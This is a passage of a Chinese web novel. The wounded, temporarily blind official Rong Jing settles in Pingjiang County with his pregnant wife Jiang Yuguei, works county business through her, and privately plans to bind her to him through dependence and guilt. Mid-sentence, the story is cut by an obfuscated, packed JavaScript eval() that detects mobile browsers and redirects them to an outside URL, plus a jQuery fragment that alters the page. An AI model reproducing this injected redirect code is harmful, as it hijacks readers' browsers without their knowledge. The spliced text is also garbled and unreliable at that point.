指尖相触的瞬间,容璟的手指微微收拢,将她冰凉的手完全握住。力道不轻不重,却带着一种不容挣脱的坚定。 他没有露出得意的神色,只是微微用力,将她拉上了马车。 车厢内温暖而干燥,弥漫着淡淡的药香和他身上独有的清冽气息。软垫厚实,角落里甚至固定着一个散发着余温的小铜炉。 容璟扶着她坐下,仔细地用薄毯盖住她的膝盖,动作熟练得仿佛做过千百遍。 然后,他才在她身边坐定,依旧面朝着车窗的方向,尽管什么也看不见。 “长青,走吧。”他淡淡吩咐。 车帘落下,隔绝了外面凛冽的山风与渐浓的暮色。 车轮再次转动,碾过土路,朝着与盛京相反,也与她来时路完全不同的方向,缓缓驶去。 车厢内一片寂静。 姜于归靠在车壁上,闭上了眼睛。疲惫如同潮水般席卷而来,不仅仅是身体的,更是从灵魂深处透出的,沉重的倦怠。 她感觉到,容璟的手,依旧握着她的,没有松开。 掌心传来的温度,不炽热,却异常固执。 仿佛在无声地宣告着,这场始于算计与掠夺,纠缠着恨意与无奈,或许也掺杂了某些连当事人都不愿深究的复杂牵绊的旅程,还远未到终点。 而前路,是苦寒的平江县,是未知的官场生涯,是作为容璟妻子的全新身份,也是腹中那个悄然孕育,注定无法割舍的生命。 风雪似乎更急了,拍打着车壁,呜咽作响。 马车在渐暗的天色中,变成一个小小的黑点,最终彻底消失在蜿蜒的山道尽头。 山野重归寂静,唯有风声不息,卷着残雪,一遍遍掠过她曾经走过的,那些深浅不一的脚印,直到将其彻底掩埋,不留痕迹。 前往平江县的路途漫长而颠簸。 容璟的眼睛在途中渐渐有了些光感,但视物依旧模糊不清,长青请来的大夫随行诊治,说是颅内有淤血未散,需静养时日。 他并未表现出急切,大部分时间都在马车内静坐或小憩,处理一些由长青口述的简单文书。 上任的期限,因这九死一生的遇刺与重伤,自然是耽搁了许久。 好在陛下似乎对此“格外开恩”,新的旨意早在容璟重伤消息传回盛京后不久便已下达,着容璟安心养伤,平江县事务暂由县丞代理,待其伤势稳定,再行赴任不迟。 这旨意看似体恤,实则意味深长。 皇帝雷霆处置了容琅,严惩了荣国公府,对谋害朝廷命官表达了震怒,甚至派了太医携珍药寻访救治,姿态做得十足。 可偏偏,没有半句召其回京诊治或另委重任的意思。 一码归一码。 容璟“漕运失察”,“私德有亏”的错处,皇帝敲打的目的还没达到。 将他贬去平江,是要磨掉这把刀的锋棱,让他尝尝远离权力中心的滋味,学会更乖顺地听话。 如今刀险些断了,皇帝可以严惩折刀的人,可以给药续命,但这把刀该去的地方,还是苦寒的平江。 更何况,容璟生死不明,重伤难愈的消息传回,朝野暗流岂会平息? 一个容琅,真有本事布下那样周密的杀局,害得心思缜密,身边不乏好手的容璟几乎殒命? 皇帝不信。 他坐在那张龙椅上,看得比谁都清楚,这潭水下面,必然还有更大的鱼在搅动。 东宫近来与清流走得近,对漕运案关切异常,慕容琛手握北境兵权,年轻气盛,与容璟旧怨颇深,甚至朝中那些曾被容璟压制过的势力...... 谁不想趁他病,要他命?谁又想他活着回来? 皇帝不急着召容璟回来。 他要借着这把重伤将废的刀,再试一试这潭水的深浅,看一看那些藏在暗处的魑魅魍魉,还会露出多少马脚。 他更要看看,这个他一向看重又始终忌惮的外甥,落到这般田地,是否还能有本事,自己从泥沼里爬出来,爬回他需要的位置上。 而这些,身处颠簸马车中的容璟,心中一片雪亮。 容璟甚至比皇帝期待得做得更多。 眼睛看不见,耳朵便格外灵敏。 长青每日低声禀报的,不止是沿途琐事和平江县的筹备,更有从盛京通过各种隐秘渠道传来的朝堂动向。 东宫因他遇刺案被推到风口浪尖,虽最终推出容琅顶罪,但太子与慕容琛协同查案过程中的微妙互动,慕容琛麾下将领在北境的些许跋扈,甚至东宫属官某些急于撇清,反而欲盖弥彰的举动,都被长青的人,用各种方式,巧妙而持续地递到了皇帝案头,或传入了某些敏感御史的耳中。 皇帝本就因之前几位年幼皇子接连意外,对东宫生了猜疑。 如今这些似有若无的线索,如同滴入油锅的水珠,不断激化着那层名为父子猜忌的薄冰。 同时,关于十一皇子李昭珣因思念璟表哥,担忧过度而病了一场,在病中仍不忘为兄长祈福的纯孝事迹,也适时地在宫中流传开来。 对比东宫在此事中略显公事公办,乃至急于切割的态度,孰亲孰疏,在某些人心中自有衡量。 容璟靠在车厢壁上,听着长青以极低的声音禀报这些,苍白的面容在晃动的光影中半明半暗。 他极少开口,只偶尔在关键处,吐出几个简短的音节,或是一个细微的手势。 他在利用这次遇刺,将祸水引向东宫,加剧皇帝与太子之间的裂痕,为自己将来可能的回归铺垫,也为那个年幼,单纯,更易掌控的十一皇子,悄悄扫清一些障碍。 这一切算计与运作,都在他重伤未愈,目不能视的伪装下,无声而缜密地进行着。如同冰层下的暗流,看似平静,实则决定着水面的最终走向。 姜于归对此一无所知。她只是觉得,容璟似乎更沉默了,那种沉默并非单纯的疲惫,而是一种深不见底的,令人隐隐不安的凝定。 她偶尔会撞见他听长青低声说话时,侧脸上那一闪而过的冰冷而锐利的神情,快得让她以为是错觉。 她越发看不透他。 恨意因内疚而复杂,怀疑被事实击碎,剩下的只有一片空茫的疲惫,和对前路更深的无措。 马车日夜兼程,载着各怀心思的两人,穿过初春尚且料峭的山野,朝着那个名为平江的未知的终点,一步步靠近。 姜于归孕早期的反应似乎更明显了些,时常恹恹的,胃口不佳。 容璟吩咐人沿途尽量寻些新鲜果蔬,熬煮清淡的粥品,虽无过多温言软语,细节处却安排得周全。 约莫半月后,马车终于驶入平江县地界。此地果然偏僻贫瘠,县衙亦显陈旧,但好在提前收拾过,还算洁净整齐。 抵达县衙后院的当日傍晚,姜于归精神不济,早早被安置在正房歇息。容璟则在书房听长青汇报抵达后的各项安排。 待姜于归一觉醒来,已是华灯初上。 她起身想到院中透透气,刚推开房门,却见两个熟悉的身影正在廊下低声说着什么,听到动静,齐齐转过身来。 竟是秋实和素馨! 两人穿着比在国公府时稍简朴些的衣裙,但气色红润,眼神清亮,见到姜于归,立刻上前,规规矩矩地行礼,语气带着显而易见的亲近与欢喜。 “夫人,您醒了?厨下温着粥和小菜,夫人可要用些?” 姜于归彻底怔住了,呆呆地看着她们,一时竟说不出话来。 秋实性子活泼些,见姜于归发愣,抿嘴笑道:“是世子爷吩咐,让奴婢们先一步到平江安置,说夫人身边总得有熟悉的人伺候才放心。夫人,这一路您受苦了。” 素馨也温声道:“夫人如今身子重,万事更需仔细。奴婢们虽不及以往在府里周全,但定会尽心尽力伺候好夫人和小主子。” 她们的笑容自然,言语真诚,没有丝毫被迫或怨恨的痕迹。看向姜于归的眼神,甚至比在国公府时更多了几分历经变故后的沉稳与关切。 姜于归看着她们,又想起李家坳院里那堆满的谢礼和周猎户夫妇感激的笑容,最后,眼前晃过马车里容璟平静递过茶水的侧影...... 所有的怀疑,指控,在这一刻,被眼前活生生的人证,击得粉碎。 容璟说的......竟然都是真的。 他没有伤害任何无辜的人,他甚至......将秋实,素馨调来了她身边。 不是发配,不是囚禁,是让她们继续伺候,来到这偏僻的平江。 一股巨大的,无处着力的空虚感席卷了她。 恨意失去了最坚实的立足点,愤怒变得像无理取闹,连那点因冤枉他而产生的内疚,此刻都显得如此苍白可笑,因为他根本不需要她的内疚,他用事实,将她所有可能的指责,都堵了回去。 她站在廊下,晚风吹动她单薄的衣袂,只觉得浑身冰冷,连心底最后一点想要站在道德高处与他抗争的力气,都被抽空了。 秋实和素馨见她脸色不对,忙上前扶住:“夫人?您怎么了?是不是哪里不适?” 姜于归缓缓摇了摇头,挣脱她们的手,声音飘忽得如同叹息:“我没事......只是有点累。” 她转身,慢慢走回房内,关上了门。 背靠着冰凉的门板,她缓缓滑坐在地。 容璟你赢了。 不是用锁链,不是用刑罚,甚至不是用甜言蜜语。 他用这种近乎守信和周全的方式,将她所有的路,都堵死了。 连恨他,都找不到一个足够理直气壮的理由。 窗外,平江县的第一轮明月,清冷地挂在天际,将朦胧的光辉,洒在这座陌生而简陋的县衙后院,也洒在她一片荒芜的心上。 平江县的春天来得格外迟。三月末了,屋檐下的冰凌还未化尽,风里依旧裹着从北面群山刮来的料峭寒意。 县衙后院的正房已收拾出来,陈设简单,但比路上颠簸时总算安稳许多。 秋实和素馨手脚麻利,不过两三日,便将各处打理得井井有条,灶上总是温着适合孕妇的清淡汤水,药炉里飘出安胎药材特有的,略带苦意的香气。 容璟的眼睛,在抵达平江后的第五日,终于能勉强看见模糊的光影和轮廓。 大夫说是颅中淤血渐散的好兆头,但仍需时日,不可劳神,更不可强用目力,否则恐有反复乃至永久损伤之虞。 容璟对此反应平淡,只吩咐将书房窗上的厚纸换成更透光的细纱,又在书案前多添了两盏油灯。 平江县虽偏远贫瘠,但一县之长的庶务并不轻松。 积压的案卷,待批的公文,春耕的筹备,税赋的核算,乃至乡里间的纠纷诉状,林林总总,很快堆满了那张半旧的书案。 长青每日将最紧要的文书拣选出来,低声念给容璟听,再按他的口述批复或拟定条陈。 只是容璟眼睛不便,听与思都需要加倍专注,进度难免迟缓。不过数日,待处理的文书便又积起一摞。 这日清晨,用过早膳,容璟照例去了书房。 姜于归本想回房,却被容璟叫住。 “于归。” 他坐在书案后,面朝着门口的方向,晨光透过细纱窗,在他苍白的脸上投下朦胧的光晕,那双眼睛依旧没什么神采,视线虚虚地落在她身前的空处。 他的声音平稳,带着惯常的温和:“今日有几桩春耕借粮的条陈,还有两起田地纠纷的诉状,需尽快裁定。长青另有要务需出城一趟,怕是晌午才能回来。你......可否暂时代他片刻,帮我念念文书?” 姜于归脚步顿住,站在门槛边,没有立刻应声。 她看向书案上那堆积压的卷宗,又看向容璟。 他微微侧着头,似乎在等待她的回答,脸上是那种属于伤患的,带着些许无奈与请求的神情。 但姜于归太熟悉这种表情背后的东西了。这不过是新一轮算计的开始。 姜于归的声音不高,带着清晰的疏离:“世子身边,岂会只有长青一人可用?县衙中总有文书小吏,再不济,秋实素馨也识得几个字。” 容璟闻言,并未着恼,只是极轻地叹了口气。 他抬手,用指尖揉了揉依旧有些胀痛的眉心,语气里透出一点真实的疲惫,还有一丝不易察觉的,近乎自嘲的意味。 “县衙中确有书吏,但初来乍到,人心未附,有些事,不便假手于人。秋实素馨要照顾你,且内宅女子涉足公务,传出去于你名声有碍。” 他顿了顿,望向她的方向,那双涣散的眸子里,似乎有什么极其幽微的东西一闪而过。 “至于其他人......于归,你应该明白,我如今这般模样,有多少双眼睛在暗中盯着?一个失明重伤,被贬至此的县令,若是连处置公务都要完全依赖陌生属吏,传回盛京,会是如何光景?” 这话说得含蓄,却字字敲在要害上。 姜于归沉默。她当然明白。容璟遇刺重伤的消息早已传开,不知多少人在等着看他笑话,甚至盼着他一蹶不振。 他若显露出半分软弱或失控,那些藏在暗处的魑魅魍魉只会更加猖狂。 他需要维持至少表面上的,对局面的掌控力。 而她,是目前他能找到的,最不易引起外界猜疑的“自己人”。 容璟仿佛感知到了她的动摇,声音放得更缓了些,甚至带上了一丝难得的,近乎坦诚的无奈。 “只是念一念文书,将我的批复记录下来。不会太久。待长青回来,便无需劳烦你了。” 姜于归的目光掠过他搭在案边,因为长久用力而指节微微泛白的手,又掠过他眼下那层淡淡的青影。 这些细节装不出来,他是真的疲惫,伤势也远未痊愈。 她闭了闭眼。 最终还是走了过去,在书案侧面的椅子上坐下,拿起最上面的一份卷宗。 展开,是县里几位里正联名呈上的条陈,言辞恳切又难掩焦灼。去岁收成不好,今春种子短缺,若官府不能及时借贷粮种,怕是有不少农户要误了农时,乃至全年无收。 姜于归定了定神,开始低声念诵。 她的声音清泠,咬字清晰,将那些枯燥的公文条陈念得平缓易懂。 遇到数据或地名,她会稍作停顿,容璟若有不明,便多解释一两句。 容璟静静听着,偶尔打断,问一两个关键处,然后给出批复意见。 “准。按旧例,由各乡里正具保,按户借贷,秋后加息一成归还。着户房即刻办理,三日内须发放到户,不得延误。 此地纠纷,着该乡耆老协同县衙吏员实地勘验,依田契与历年赋税记录为准。若双方仍有不服,可另行上诉。” 他的指令简洁明确,切中要害,即便眼睛看不见,对县情民生的把握却精准得惊人。 姜于归一边记录,一边心下暗凛,这个人,无论落到何种境地,那份浸入骨髓的权谋与掌控力,从未真正消失。 念完春耕借粮和几起纠纷,又有一份关于县城年久失修,雨季恐有内涝隐患的呈报。 姜于归念到一半,容璟忽然问道:“图示在何处?可能大致描摹一番?” 她低头查看,卷宗后附着一张极其简陋的草图,笔法粗陋,只大概标出了几条主要街道和疑似低洼处。 姜于归如实道:“有图,但画得......不甚清楚。” 容璟沉吟片刻:“你来画。” 姜于归一愣。 容璟已吩咐秋实取来了纸笔,就铺在书案空处。他微微侧身,面向她,语气自然得像在讨论天气。 “我说,你画。先将县城四至方位定下,主街,巷道,水流走向......尽量细致些。” 姜于归捏着笔,指尖有些僵。她并非不会画图,只是这种近乎手把手,需要密切配合的事,让她本能地抗拒。 可容璟已开始叙述,语速平缓,条理清晰,从城墙轮廓到主要建筑分布,甚至某些街角的老树,水井的位置,都一一提及,仿佛那双看不见的眼睛,早已将这座陌生的县城勘验过无数遍。 姜于归不得不凝神,依照他的描述,在纸上勾勒。 起初有些生疏,但很快便跟上了节奏。 他说的,她画下,偶尔有不解处,低声询问,他便耐心解释。 书房里只剩下他低沉的叙述声,笔尖划过纸张的沙沙声,以及窗外偶尔掠过的风声。 不知不觉,一个多时辰过去。 一幅虽然笔法不算精湛,但布局清晰,关键处皆已标明的县城简图,渐渐在姜于归笔下成形。 容璟听她描述完最后一处,点了点头,脸上露出一丝极淡的,近乎满意的神色。 “很好。比我预想中,要细致得多。” 这话像是夸赞,又像是某种意味深长的评估。 姜于归放下笔,活动了一下有些酸涩的手腕,没有接话。 容璟却并未就此打住。他靠回椅背,面朝着那张刚刚绘成的图,尽管什么也看不清,却仿佛能透过纸张,看见那座亟待修葺的城池。 “内涝之患,根源在于水道淤塞,排水不畅。光修缮路面无用,须得疏通暗渠,拓宽明沟。只是县库空虚,民力亦有限。” 他微微蹙眉,那神情是纯粹为政务困扰的凝肃,不带半分作伪。 “长青已去寻访县中几位致仕的老吏和乡绅,看看能否募集些钱粮,或以工代赈。但此事牵涉甚广,图纸,预算,人工调度,皆需仔细筹划。” 他忽然转向姜于归的方向,语气里带上了一丝恰到好处的,属于伤患的依赖与无奈。 “这几日,怕是要多有劳烦你了。不仅念文书,这些图稿,数据,恐怕也得你帮着整理,核算。” 姜于归心头一紧,立刻道:“我不擅此道,怕是会误事。长青既已去寻访,待他回来......” “他回来,亦有别的事要忙。” 容璟打断她,声音依旧平和,却带着不容转圜的意味。 “平江县虽小,却是通往西南几处矿场的要道。近日有风声,似有私矿贩运,逃漏税课之事。此事关乎朝廷法度,亦牵扯地方豪强,需得暗中查访,厘清脉络。长青带人去做,最为稳妥。” 他顿了顿,补充道,语气里多了一丝冰冷的讥诮。 “我如今这般模样,那些人只怕更不将我放在眼里,正是查案的好时机。只是如此一来,衙门里这些琐碎庶务,便只能暂且偏劳你了。” 理由冠冕堂皇,公私兼顾,将她的推辞堵得严严实实。 姜于归看着他平静无波的脸,知道再辩无用。他早已将一切算好,将她可能的反应和退路都考虑在内。 她默然片刻,终究只是极轻地应了一声:“知道了。” 容璟唇角几不可察地弯了一下,旋即恢复如常。 “今日便到此吧。你身子重,不宜久坐。” 他顿了顿,又道:“换药的时辰也该到了。” 姜于归正欲起身离开,闻言动作一滞。 容璟仿佛没看见她的迟疑,自顾自道:“随行的大夫,我今早已让他带着药材,去城外几个村落义诊了。春寒未退,村里老人孩子多有咳喘风寒之症,耽误不得。换药这等小事,就不必让他特意往返了。” 他说得轻描淡写,甚至带着一种体恤下属,关爱百姓的理所当然。 姜于归却听出了其中赤裸裸的算计。 她抬眼看他,目光锐利:“县衙里,难道再寻不出一个会包扎伤口的人?” 容璟微微偏头,望着她,那双空洞的眼睛里,竟流露出一丝近乎无辜的无奈。 “有自然是有的。只是......” 他顿了顿,声音压低了些,带着一种近乎推心置腹的坦诚。 “于归,我如今是平江县令,一举一动,多少人看着?让陌生仆役近身处理伤口,若是传出去,外人会如何揣测我这伤势?是故作严重以博同情?还是真的已衰弱到连亲近之人都无?” 他轻轻叹了口气,那叹息里满是身不由己的疲惫。 “盛京那边,多少双眼睛盯着我这废人?示弱太过,恐生不必要的觊觎,显得过于无恙,又怕陛下觉得我之前的重伤有假。这分寸,不好拿捏。不如......就你我来做。夫妻之间,照料伤势,再寻常不过,也无人能置喙什么。” 一番话,将公与私,情与理,朝堂博弈与夫妻伦常,搅和在一起,说得滴水不漏。 姜于归听得心头发冷。 他总是这样。能用最合理的理由,包裹最不可告人的目的。让你明知是陷阱,却找不到挣脱的理由。 见她依旧沉默,容璟又缓声道,语气里甚至带上了一丝极淡的,不易察觉的恳切。 “只是换药而已。伤口在左肩和肋下,我自己确实不便。你若实在不愿......” 他没有说完,但那未尽之言,配上他微微蹙眉,略显隐忍的神情,仿佛真的只是一个重伤不便,又不得不顾忌体面的丈夫,在小心翼翼地请求妻子的帮助。 姜于归死死咬住下唇。 她可以拒绝。可以硬下心肠转身就走。 可然后呢?他真的会让一个陌生仆役来换药吗?还是会让本就在乡间奔波义诊的大夫匆匆赶回? 无论哪种,似乎都坐实了她冷漠无情,不顾大局的罪名。在这座小小的县衙里,在秋实素馨甚至其他下人眼中,她会成为什么样的形象? 更别说,他方才那番关于示弱分寸,朝堂眼光的话,并非全无道理。 最终,她还是极其缓慢地,极其僵硬地点了点头。 容璟脸上没有什么明显的喜色,只是那紧绷的肩线,几不可察地松弛了一分。 他低声道,然后缓缓起身:“有劳,去内室吧。” 内室比书房更显简朴,一床一桌一柜而已。药箱早已备好,放在桌上。 姜于归打开药箱,浓烈的药味扑鼻而来。她定了定神,取出干净的布巾,药膏和绷带。 容璟已自行解开了外袍和里衣的系带,将左肩和半边胸膛袒露出来。 苍白劲瘦的肌肤上,纵横交错着数道狰狞的伤口,最深的一处在左肩胛下方,皮肉翻卷的痕迹虽已愈合大半,但依旧透着可怖的暗红色。肋下亦有数处较深的划伤和淤青。 新伤叠着旧痕,触目惊心。 姜于归不是第一次见他身上的伤。 可此刻在这样近的距离,在寂静的内室里,这些伤痕带来的冲击,依旧让她呼吸微窒。 她垂下眼,避开那些过于私密的肌理轮廓,用布巾蘸了温水,开始小心地擦拭伤口周围。 动作很轻,指尖却不可抑制地有些颤抖。 容璟安静地坐着,背脊挺直,没有发出任何声音。只有在她碰到某处较深的伤口时,他的肌肉会几不可察地绷紧一瞬,随即又强迫自己放松。 清理完旧药,姜于归挖出药膏,均匀涂抹在新的伤口上。药膏冰凉,她的指尖更凉。 就在她涂完药,拿起绷带,准备缠绕时,容璟忽然动了。 他并非刻意,只是因着她的动作,微微调整了一下坐姿,身体自然而然地向前倾了些许。 距离瞬间拉近。 姜于归甚至能感受到他温热的呼吸拂过她额前的碎发,能闻到他身上淡淡的药味和一种独属于他的,清冽冷峻的气息。 她浑身一僵,下意识地向后缩。 容璟却仿佛毫无所觉,只是低低地,带着一丝压抑的痛楚轻吸了一口气,声音沙哑。 “抱歉......牵扯到伤口了。” 他的手臂,因着调整姿势,若有若无地,虚虚地环过了她的腰侧,似乎只是为了寻找支撑,并无逾矩之意。 可那触碰带来的温度与存在感,却如同烙铁,烫得姜于归脊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148211|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背发麻。 她猛地向后退开,绷带从手中滑落。 “你......” 容璟似乎这才意识到自己的动作不妥,立刻收回手,脸上浮现出清晰的歉意。 “对不住,我......我不是有意。” 他摸索着想要去拾掉落的绷带,却因为看不见,手指在空中徒劳地划了几下,反而显得更加笨拙与无助。 姜于归看着他苍白的脸上那抹真实的痛色和失措,心头的怒火与羞恼,如同撞上了一堵冰冷的墙,堵在胸口,发泄不出。 她能说什么?指责他故意轻薄?可他确实伤重,动作不便,方才也立刻道歉收手。 最终,她只是死死拽紧了拳头,指甲深深陷进掌心,然后一言不发地弯腰捡起绷带,重新走上前,动作比之前更加僵硬迅速,几乎是粗暴地开始缠绕。 容璟配合地抬高手臂,任由她动作。 他微微垂着眼,长睫在苍白的脸颊上投下安静的阴影,唇角抿得有些紧,仿佛在默默忍受着伤口被触碰的疼痛,以及......她此刻无声的怒气。 内室里只剩下绷带拉扯的细微声响,和两人都有些压抑的呼吸声。 就在姜于归快要缠完最后一圈,打好结时,容璟忽然极轻地开口,声音低得几乎只有两人能听见。 “得妻如此......实乃璟之幸。” 这话说得突兀,甚至有些没头没尾。语气也不似作伪的甜腻,反而带着一种深沉的,近乎叹息的感慨。 姜于归的手猛地一抖,差点将结打散。 她抬起头,狠狠瞪向他。 容璟却仿佛没有察觉到她的怒视,那双没有焦距的眼睛望着虚空,脸上没有什么旖旎神色,反而隐隐透着一丝......疲惫的茫然? 他顿了顿,继续低声道,像是在自言自语,又像是在对她剖白。 “从前在盛京,汲汲营营,算计人心,总以为握在手里的权柄,掌控的局面,才是最实在的东西。如今落到这般田地,眼睛看不见了,才觉得......身边有个能信任,能搭把手的人,竟是这般......难得。” 这话里透出的孤寂与脆弱,与他平日形象截然不同。 姜于归愣住了,心头那点怒火,竟被这突如其来的,近乎真实的感慨,浇熄了大半,只剩下一片空茫的混乱。 她分不清,这又是他的演技,还是重伤失明,远离权力中心后,一丝真实的情绪流露? 容璟没有等她回应,只是极轻地摇了摇头,仿佛要将那些软弱的情绪甩开。他重新挺直背脊,脸上恢复了惯常的平静。 “好了,多谢你。” 他摸索着,将衣襟拢好,系上系带,动作缓慢却有条不紊。 “你去歇着吧。下午......若还有精神,可否再来书房一趟?关于疏通水渠的预算,还需再核算几处数据。” 语气已恢复了公事公办的温和疏淡,仿佛方才那句得妻如此和那片刻的脆弱,只是她的错觉。 姜于归看着他平静的侧脸,心头那团乱麻,越发缠得死紧。 她最终什么也没说,只是收拾好药箱,转身离开了内室。 门在她身后合拢。 容璟独自坐在床边,静静听着她远去的脚步声,直到那声音彻底消失在廊下。 他缓缓抬起手,抚上刚刚被包扎好的伤口处,隔着衣物,感受着那份妥帖的紧束感。指尖在绷带的边缘停留片刻,然后慢慢收拢,攥紧了衣襟。 脸上没有什么表情,唯有那双依旧涣散的眼眸深处,掠过一丝极淡的,近乎志在必得的幽光。 第一步,已经迈出去了。 接下来,是日复一日的需要,是琐碎公务中的并肩,是伤痛不便时的依赖。 他要让她习惯他的存在,习惯这种相处模式。 直到某一天,她再也分不清,留在他身边,是因为无处可去,是因为责任内疚,还是因为......别的什么。 至于孩子...... 容璟极轻地扯了一下唇角。 那是最柔软的枷锁,也是最有力的武器。他暂时还不会轻易动用。 要等到她防备最松懈的时候,等到那点内疚与习惯悄然滋长的时候,再似有若无地提起。 我们的孩子...... 若他知晓父母之间...... 不必说得太明。 只需轻轻一点,姜于归便会自己联想到安宁郡主,联想到容璟那不堪的童年,联想到所有因父母不睦而可能降临在孩子身上的阴影。 她骨子里的善良与责任感,会替他将剩下的路铺好。 窗外,平江县阴沉的天空,终于飘下了开春以来的第一场细雨,淅淅沥沥,敲打着窗棂。 冰封的土地开始松动,而某些更深,更隐蔽的东西,也在这场看似平和,实则步步为营的春雨里,悄然萌芽。 雨一连下了三四日才停。 平江县衙后院的书房里,每日清晨至午后,总能看到相似的景象。 姜于归坐在书案侧面,低声念着各类公文诉状,偶尔提笔记录或核算。容璟靠在主位的椅中,闭目聆听,间或给出清晰明确的指令。 起初只是念诵与记录。 渐渐地,容璟开始让她参与更多。 “这份田亩账目,你核算一下总数,与去岁秋税簿子对一对,看可有出入。 疏通水渠的人工,物料预算,按市价重新估一遍,看看县丞报上来的数目,有无虚浮。 这几份乡绅捐资的意向书,你按轻重缓急和各家实力,排个次序出来。” 事务琐碎繁杂,却桩桩件件都关乎民生实际。 姜于归起初生疏,但她在清溪镇经营酒肆时便管过账目,又在临河镇独立支撑归月楼,于这些庶务并非全然不懂。 不过几日,便已能上手,处理得井井有条。 容璟很少夸赞,只在某次她迅速找出账目中一处不易察觉的错漏时,淡淡说了句:“心很细。” 语气平淡,听不出太多情绪。 这日午后,处理完一批春耕巡查的回禀文书,姜于归揉了揉发胀的额角,准备起身活动一下。 容璟却忽然道:“先别走。” 他示意她看向书案另一角堆着的几份卷宗。 “那是城外几个村落的户籍简册和去岁收成记录。你按贫瘠程度和人口多寡,重新分一下类。赈济的粮种和官府借贷,须得优先最困难之处。” 姜于归看着那厚厚一摞,沉默片刻。 “这些......不该是户房吏员做的事么?” 容璟端起手边已半凉的茶盏,轻轻抿了一口,才道。 “户房的人,与本地乡绅大户牵扯颇深。让他们来分,怕是肥了关系近的,苦了真正穷困的。你初来乍到,与本地无人情瓜葛,分起来更公允些。” 理由再次无可挑剔。 姜于归重新坐下,拿起最上面一本册子。纸张粗糙,墨迹深浅不一,记录着一个个名字,年龄,田亩,收成,背后是一个个活生生却困顿的家庭。 她起初还有些烦躁,但看着看着,心神便沉了进去。 谁家家五口人,只有三亩薄田,去年涝了,几乎绝收。 那家男人病逝,剩下孤儿寡母,欠着地主租子,今年开春连种子都无着落。 谁家儿子被抓了壮丁,生死不明,老父母带着幼孙艰难度日...... 这些赤裸裸的苦难,透过冰冷的文字,沉甸甸地压在她心头。 比起盛京国公府里的钩心斗角,比起她和容璟之间纠缠不清的恨怨,这些才是真实到让人无法回避的,关乎生死存亡的艰难。 她开始认真地翻阅,比对,归类,偶尔遇到模糊或矛盾处,还低声向容璟询问本地的田亩等级或赋税惯例。 容璟回答得简洁准确。 两人一问一答,竟有几分像真正的同僚在处理公务。 气氛是前所未有的......平和,甚至专注。 直到窗外暮色渐起,秋实轻叩房门,提醒该用晚膳了,姜于归才恍然惊觉,自己竟在这书案前坐了整整一个下午。 她活动了一下僵硬的脖颈,看着面前已初步分好类的册子,心中竟泛起一丝极淡的,连她自己都未曾察觉的......充实感。 容璟也似有些疲惫,靠在那里,闭目养神。听到秋实的声音,他才缓缓睁开眼,那双眼睛在昏暗的光线下,依旧没什么神采。 他低声道,语气是惯常的平淡:“今日辛苦了。先用饭吧。明日再继续。” 姜于归嗯了一声,起身,走了两步,又停住,回头看了他一眼。 他独自坐在渐浓的暮色里,身形显得有些单薄孤清,手边是堆积的文书,眼前是永恒的昏暗。 那一刻,姜于归心头忽然掠过一丝极其复杂的情绪。 这个人,算计她,囚禁她,毁了她原本可能的人生。 可同时,他也在这偏僻贫瘠之地,忍着伤病的折磨,认真地做着这一县父母官该做的事,试图让那些更弱小无助的人,能有一线生机。 善与恶,算计与责任,冷酷与认真,在他身上交织得如此紧密,如此矛盾,让人根本无从分辨,更无从简单地恨或......原谅。 “你的药......” 她听见自己的声音响起,干涩地打破了寂静。 容璟似乎愣了一下,才反应过来她指的是什么。 “晚些再换无妨。你若累了,让秋实来便是。” 这话说得客气,甚至带着疏离。 姜于归却听出了其中一丝几不可察的......试探? 她抿了抿唇,没有接话,转身走了出去。 门轻轻合上。 容璟独自坐在黑暗中,许久未动。直到长青悄无声息地进来,点燃了烛火。 长青低声禀报:“世子,城外私矿的线索,已有些眉目。牵扯到邻县一位致仕的员外郎,还有州府里某位大人的姻亲。” 容璟点了点头,脸上没有什么意外神色。 “继续查,证据要确凿,但不急着动。等春耕忙过这一阵。” 他的声音恢复了平日的冷静锐利,与方才在姜于归面前那副疲惫伤重的模样判若两人。 长青应下,又道:“盛京那边,十一殿下又递了信来,问世子安好,还说读了世子上次指点他读的书,颇有心得。” 容璟唇角几不可察地弯了一下,那笑意极淡,却真实。 “回信告诉他,用心是好的,但不必过于忧心我。他的功课,自有詹事府的先生们督导。” 长青记下,犹豫一瞬,还是道:“还有......慕容将军前日上了折子,自请巡查北境边防,陛下已准了。折子里......并未提及世子。” 容璟脸上的笑意淡去。 他沉默片刻,才缓缓道:“知道了。” 声音听不出喜怒。 慕容琛选择在这个时候远离盛京,远离一切与他和姜于归相关的纠葛,是明智的,也是......决绝的。 这样也好。 至少短时间内,不会再有人,用那种痛苦压抑的目光,看着姜于归,也看着他了。 容璟抬手,揉了揉依旧不时作痛的额角。 “下去吧。半个时辰后,让夫人......送药过来。” 他最终还是用了夫人这个称呼,语气平淡,却带着不容置疑的归属意味。 长青垂首:“是。” 烛火摇曳,将他的影子长长地投在墙壁上,孤独,却挺直如松。 窗外的平江县,笼罩在初春的夜雾与寒意中,寂静无声。 而一场始于算计,困于内疚,缠于日常的驯服,正在这寂静里,无声而坚定地,铺开它细密柔软的网。 雨歇之后,平江县的春日便真切地浓了起来。城墙根下的野草疯长,道旁柳树抽了新芽,田间地头渐渐有了绿意。 连县衙后院那株半死不活的老槐,也挣扎着冒出些嫩黄的叶尖。 容璟的眼睛,便是在这样一个草木葳蕤的午后,彻底恢复了清明。 当时姜于归正坐在书房窗下,对着一本新送来的匠作预算册子蹙眉。 阳光透过细纱,在她低垂的侧脸投下柔和光晕,几缕碎发拂过耳际,她无意识地抬手别到耳后,露出白皙脖颈一道浅浅的弧线。 容璟原本靠在椅中闭目养神,手里无意识地摩挲着一枚温润的旧玉诀。 忽然间,眼前那片混沌的灰暗,如同被一只无形的手缓缓撩开帷幕,光,影,色彩,轮廓......潮水般涌来。 先是一团模糊的光晕,逐渐凝聚成窗格的形状,然后是书案沉暗的木纹,笔墨纸砚的摆设,最后定格在那张低眉凝神的侧脸上。 